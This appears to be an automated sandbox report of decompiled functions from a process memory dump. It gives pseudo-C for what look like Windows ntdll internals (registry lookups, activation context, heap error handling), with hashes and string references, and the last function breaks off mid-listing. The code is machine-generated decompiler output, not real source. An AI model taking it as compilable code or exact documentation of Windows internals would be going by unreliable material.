Instruction Fuzzy Hash: C84104B194052DABDB21DB50CC85FEEB77CEB44714F0085A9E609A7241DB709F888FB5

Uniqueness

Uniqueness Score: -1.00%

Function 00E105AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00E105AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E00E107DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E00D89730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E00E0A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E00E0A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E00E11293(_t79, _v40, E00E107DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E00D67D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E00E0138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x00e105c5
0x00e105ca
0x00e105d3
0x00e106db
0x00e106db
0x00e106dd
0x00e106e3
0x00e106e3
0x00e105dd
0x00e105e7
0x00e105f6
0x00e10600
0x00e10607
0x00e10610
0x00e10615
0x00e1061a
0x00e1061c
0x00e1061e
0x00e10624
0x00e10625
0x00e10627
0x00e10628
0x00e10631
0x00e10640
0x00e1064d
0x00e10654
0x00e10654
0x00e10631
0x00e1066d
0x00e10674
0x00000000
0x00000000
0x00e10692
0x00e1069e
0x00e106b0
0x00e106a0
0x00e106a9
0x00e106a9
0x00e106b8
0x00e106d6
0x00e106d6
0x00000000

Strings

`, xrefs: 00E10633

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: a3f25da058c7b8e8e56fed12f607a0475bdbbabe75a864d2fd5dc7d214f08256
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: B731E2322043056BE710DE24CC45F9A77D9EB84758F045229F994EB6C0D6B0ED94CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DC3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00DC3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E00D89650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L00D64620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E00D89650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x00dc3893
0x00dc3896
0x00dc3899
0x00dc389f
0x00dc38a0
0x00dc38a4
0x00dc38a9
0x00dc38ac
0x00dc38ad
0x00dc38ae
0x00dc38af
0x00dc38b1
0x00dc38b4
0x00dc38bb
0x00dc38bc
0x00dc38bd
0x00dc38c4
0x00dc38c8
0x00dc38ca
0x00dc38ca
0x00dc38d5
0x00dc393e
0x00dc3940
0x00dc3942
0x00dc3952
0x00dc3954
0x00dc3961
0x00dc3961
0x00dc3967
0x00dc396e
0x00dc396e
0x00dc3947
0x00dc394c
0x00000000
0x00dc394c
0x00dc38ea
0x00dc38ee
0x00dc38f8
0x00dc38f9
0x00dc38ff
0x00dc3900
0x00dc3902
0x00dc3903
0x00dc390b
0x00dc390f
0x00dc3950
0x00000000
0x00dc3950
0x00dc3915
0x00dc391d
0x00dc391d
0x00dc3922
0x00dc3926
0x00000000
0x00dc3928
0x00dc392b
0x00dc392b
0x00dc3935
0x00dc3937
0x00dc3937
0x00000000
0x00dc3935
0x00dc3926
0x00dc38f0
0x00000000

Strings

BinaryName, xrefs: 00DC38B4

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 8a8678215d28c358485b708e9e76392c45a5fc6a62b5d58fc6aac941b2866f47
Instruction ID: 8dd56478b87f756665444ee13a3f5bd4c618cb1894776c83b035f9938f0cb591
Opcode Fuzzy Hash: 8a8678215d28c358485b708e9e76392c45a5fc6a62b5d58fc6aac941b2866f47
Instruction Fuzzy Hash: 1431DF3290061AEFDB15DA58C946EBFB7B4EB80B20F15816DE955A7290DB70DF00CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D7D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00D7D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0xe3d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E00D64120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E00D8B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E00D898D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E00D895D0();
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x00d7d29c
0x00d7d2a6
0x00d7d2b1
0x00d7d2b5
0x00d7d2b6
0x00d7d2bc
0x00d7d2bd
0x00d7d2be
0x00d7d2bf
0x00d7d2c2
0x00d7d2c4
0x00d7d2cc
0x00d7d384
0x00d7d34b
0x00d7d34f
0x00d7d350
0x00d7d351
0x00d7d35c
0x00d7d35c
0x00d7d2d6
0x00d7d2da
0x00d7d2e1
0x00d7d361
0x00d7d369
0x00d7d36d
0x00d7d2e3
0x00d7d2e3
0x00d7d2e3
0x00d7d2e5
0x00d7d2ed
0x00d7d2f5
0x00d7d2fa
0x00d7d302
0x00d7d303
0x00d7d30b
0x00d7d30f
0x00d7d313
0x00d7d318
0x00d7d31c
0x00d7d320
0x00d7d379
0x00d7d37d
0x00000000
0x00000000
0x00dbaffe
0x00dbb001
0x00dbb011
0x00000000
0x00d7d322
0x00d7d322
0x00d7d330
0x00d7d337
0x00d7d35d
0x00d7d339
0x00d7d33f
0x00d7d38c
0x00d7d38c
0x00d7d33f
0x00d7d349
0x00000000
0x00d7d349

Strings

@, xrefs: 00D7D303

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 15c6610890d7362afef5d8e224663a668ff36d2bb5e42a23b260612c157d0eb3
Instruction ID: 7fb6ec5ff3afccf54fea1d079ea77d0fd17c6129a0130a55674e942f814f7826
Opcode Fuzzy Hash: 15c6610890d7362afef5d8e224663a668ff36d2bb5e42a23b260612c157d0eb3
Instruction Fuzzy Hash: 253158B15083059FC311DF288981AABBBF9EF89754F14492EF99993211E634DD04DBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00D51B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00D51B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E00D8BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E00D8A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E00D8A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L00D64620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x00d51b8f
0x00d51b9a
0x00d51b9c
0x00d51b9e
0x00d51ba3
0x00da7010
0x00da7010
0x00000000
0x00d51ba9
0x00d51ba9
0x00d51bae
0x00000000
0x00d51bc5
0x00d51bca
0x00d51bcf
0x00d51bd0
0x00d51bd1
0x00d51bd2
0x00d51bd6
0x00d51bdc
0x00d51be0
0x00da6ffc
0x00da7000
0x00000000
0x00da7006
0x00da7009
0x00da7009
0x00d51be6
0x00d51bec
0x00d51c0b
0x00d51c0b
0x00d51c0c
0x00d51c11
0x00d51c12
0x00d51c15
0x00d51c1b
0x00d51c1f
0x00d51c31
0x00d51c33
0x00da7026
0x00da7026
0x00d51c21
0x00d51c24
0x00d51c24
0x00d51bee
0x00d51bee
0x00d51bf2
0x00d51c3a
0x00d51bf4
0x00d51bf4
0x00d51c05
0x00d51c05
0x00d51c09
0x00d51c3e
0x00000000
0x00000000
0x00000000
0x00d51c09
0x00d51bec
0x00d51be0
0x00d51bae
0x00d51c2e

Strings

WindowsExcludedProcs, xrefs: 00D51BC5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 8d34fa033bdac31ae8df3c531147d321fffe4dc01be68aa4d207084f40647adc
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 7221043A581228ABDF21AA59C840F6BF7BDEF42B52F1A4426FD449B200D635DC04D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D6F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x00d6f71d
0x00d6f722
0x00d6f726
0x00db4770
0x00d6f765
0x00d6f769
0x00d6f769
0x00d6f732
0x00db477a
0x00000000
0x00db477a
0x00d6f738
0x00d6f73a
0x00d6f73c
0x00d6f73f
0x00d6f746
0x00d6f778
0x00d6f7a9
0x00d6f7a9
0x00d6f754
0x00d6f75a
0x00d6f75d
0x00d6f75f
0x00d6f761
0x00d6f76f
0x00d6f771
0x00d6f771
0x00d6f76f
0x00d6f763
0x00000000
0x00d6f763
0x00d6f77d
0x00d6f7a3
0x00d6f7a5
0x00000000
0x00d6f7a5
0x00d6f77f
0x00d6f782
0x00d6f784
0x00d6f786
0x00000000
0x00000000
0x00000000
0x00d6f788
0x00d6f748
0x00d6f74d
0x00d6f78d
0x00d6f793
0x00d6f7b7
0x00d6f7bc
0x00000000
0x00d6f7bc
0x00d6f798
0x00000000
0x00000000
0x00d6f79d
0x00d6f7b0
0x00000000
0x00d6f7b0
0x00d6f79f
0x00000000
0x00d6f74f
0x00d6f74f
0x00000000
0x00d6f74f

Strings

Actx , xrefs: 00D6F73F

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 4dc80d1c906926118c5bd8e77e0a7c966e9e78a63e2d93fc5ffa9fc7d90d5d74
Instruction ID: 49dc7f3ff2b1dfb06feff2ef5eb24ee0de787c3cfccbfbce11cbb03871edc8bb
Opcode Fuzzy Hash: 4dc80d1c906926118c5bd8e77e0a7c966e9e78a63e2d93fc5ffa9fc7d90d5d74
Instruction Fuzzy Hash: EE11B235344E028BEB244F1DB9917767295BB95724F38453AE4A2CB391DB70CC419370

Uniqueness

Uniqueness Score: -1.00%

Function 00DF8DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00DF8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0xe20d50);
				E00D9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E00DD5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L00D9DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L00D9DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E00D9D130(_t34, _t39, _t40);
			}

0x00df8df1
0x00df8df1
0x00df8df1
0x00df8df1
0x00df8df1
0x00df8df1
0x00df8df3
0x00df8df8
0x00df8dfd
0x00df8e00
0x00df8e0e
0x00df8e2a
0x00df8e36
0x00df8e38
0x00df8e3c
0x00df8e46
0x00df8e46
0x00df8e36
0x00df8e50
0x00df8e56
0x00df8e59
0x00df8e5c
0x00df8e60
0x00df8e67
0x00df8e6d
0x00df8e73
0x00df8e74
0x00df8eb1
0x00df8ebd

Strings

Critical error detected %lx, xrefs: 00DF8E21

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 2a6a9ef4782be8bf281981eb9b1fcaf886122476c7d7e1b9ca758f1d53d1889f
Instruction ID: cfdb023fc5972daafc1492f09d2278fa3a2ced52f962df52ce6275b0eaa12fc4
Opcode Fuzzy Hash: 2a6a9ef4782be8bf281981eb9b1fcaf886122476c7d7e1b9ca758f1d53d1889f
Instruction Fuzzy Hash: ED117575D00348EADF24CFA896067ACBBB1EB04314F24821EE568AB282C7314A02DF25

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 00DDFF60

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 5336bbded3d27ad5933bfe1fb868a5182c64e748652bed9faef995fde39cafc4
Instruction ID: 0917e7d04fffa316f4e456d1264c8065199ece2da41ea88656f76f9b1036cdf9
Opcode Fuzzy Hash: 5336bbded3d27ad5933bfe1fb868a5182c64e748652bed9faef995fde39cafc4
Instruction Fuzzy Hash: C711A172910648EFDF21DF60C94AF98BBB2FF48705F188054F50A672A2C7399948CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00E15BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00E15BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0xe21178);
				E00D9D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E00E14C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E00D8D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E00E15542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0xe360e8;
								if( *0xe360e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0xe360e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E00D89710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
